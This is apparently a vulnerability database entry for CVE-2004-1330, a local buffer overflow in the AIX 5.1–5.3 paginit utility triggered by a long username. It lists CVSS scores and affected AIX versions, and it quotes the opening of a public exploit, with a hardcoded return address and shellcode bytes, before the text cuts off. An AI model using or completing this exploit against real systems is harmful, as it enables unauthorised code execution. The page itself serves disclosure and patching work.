7.2
CVSSv2

CVE-2004-1330

Published: 31/12/2004 Updated: 11/07/2017
CVSS v2 Base Score: 7.2 | Impact Score: 10 | Exploitability Score: 3.9
VMScore: 725
Vector: AV:L/AC:L/Au:N/C:C/I:C/A:C

Vulnerability Summary

Buffer overflow in paginit in AIX 5.1 up to and including 5.3 allows local users to execute arbitrary code via a long username.

Vulnerable Product Search on Vulmon Subscribe to Product

ibm aix 5.3_l

ibm aix 5.2_l

ibm aix 5.3

ibm aix 5.2

ibm aix 5.2.2

Exploits

/* exploit for /usr/bin/paginit tested on: AIX 52 if the exploit fails it's because the shellcode ends up at a different address use dbx to check, and change RETADDR accordingly cees-bart <ceesb cs ru nl> */ #define RETADDR 0x2ff22c90 char shellcode[] = "\x7c\xa5\x2a\x79" "\x40\x82\xff\xfd" "\x7c\xa8\x02\xa6" ...